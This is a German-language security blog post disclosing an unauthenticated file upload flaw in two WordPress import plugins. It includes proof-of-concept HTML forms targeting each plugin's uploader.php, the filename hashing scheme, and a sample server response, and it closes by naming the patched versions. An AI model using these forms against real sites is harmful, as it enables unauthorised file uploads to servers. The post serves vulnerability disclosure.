Bugs in zwei WordPress-Plugins verwandelten Blogs in Download-Portale

15.08.2014 yahe legacy security wordpress

Vor ein paar Tagen habe ich eine spannende Lücke in zwei miteinander verwandten WordPress-Plugins gefunden. Dabei handelt es sich um den WP Advanced Importer und den WP Ultimate CSV Importer. Beide Plugins bringen die Dateien "./templates/uploader.php" und "./templates/UploadHandler.php" mit sich. Bei ersterer handelt es sich um einen ungeschützten Einstieg, während zweitere den eigentlichen, schadhaften Code enthält. Beide lassen sich mit folgendem, beispielhaftem Code ausnutzen:

<form enctype="multipart/form-data" action="http://example.com/wp-content/plugins/wp-advanced-importer/templates/uploader.php" method="POST">
    <input type="hidden" name="uploadPath" value="./uploads/" />
    <input type="hidden" name="MAX_FILE_SIZE" value="30000" />
    Upload: <input name="files" type="file" />
    <input type="submit" />
</form>
<form enctype="multipart/form-data" action="http://example.com/wp-content/plugins/wp-ultimate-csv-importer/templates/uploader.php" method="POST">
    <input type="hidden" name="uploadPath" value="./uploads/" />
    <input type="hidden" name="MAX_FILE_SIZE" value="30000" />
    Upload: <input name="files" type="file" />
    <input type="submit" />
</form>

Hier passiert folgendes: Die "uploader.php" instanziiert die Klasse "UploadHandler". Vom Konstruktor wird die Methode "initialize()" aufgerufen, die wiederum die Methode "post()" aufruft. Darin enthalten ist eine Upload-Verarbeitungsroutine, die sich durch einzelne Request-Parameter steuern lässt. Im oben gezeigten Fall landen hochgeladene Dateien im Plugin-Unterordner "./templates/uploads/ultimate_importer/". Als geringen Schutz wird der Dateiname gehasht. Der finale Dateiname lässt sich jedoch wie folgt ermitteln:

hash_hmac('md5', $DATEINAME, 'secret');

Praktischerweise gibt das Upload-Script auch noch jede Menge Feedback, sodass man sich gut orientieren kann, welche schlussendlichen Pfade man denn mal probieren könnte:

{"files":[{"name":"BEISPIEL.php--1.csv","size":25,"type":"text\/php","url":"http:\/\/example.com\/wp-content\/plugins\/wp-ultimate-csv-importer\/templates\/files\/BEISPIEL.php--1.csv","deleteUrl":"http:\/\/example.com\/wp-content\/plugins\/wp-ultimate-csv-importer\/templates\/?file=BEISPIEL.php--1.csv","deleteType":"DELETE","uploadedname":"B"}]}

Mit dieser Funktion können beliebige Dateien auf Server hochgeladen werden. Sie sind zwar nicht unter dem ursprünglichen Namen verfügbar, für den Austausch von Dateien könnte diese Lücke jedoch problemlos eingesetzt werden. Glücklicherweise wurde der Bug in der Version 1.2.1 des WP Advanced Importer und in der Version 3.6.2 des WP Ultimate CSV Importer behoben worden. Es ist daher angeraten, schnellst möglich upzudaten.


Search

Categories

administration (45)
arduino (12)
calcpw (3)
code (38)
hardware (20)
java (2)
legacy (113)
linux (31)
publicity (8)
raspberry (3)
review (2)
security (65)
thoughts (22)
update (11)
windows (17)
wordpress (19)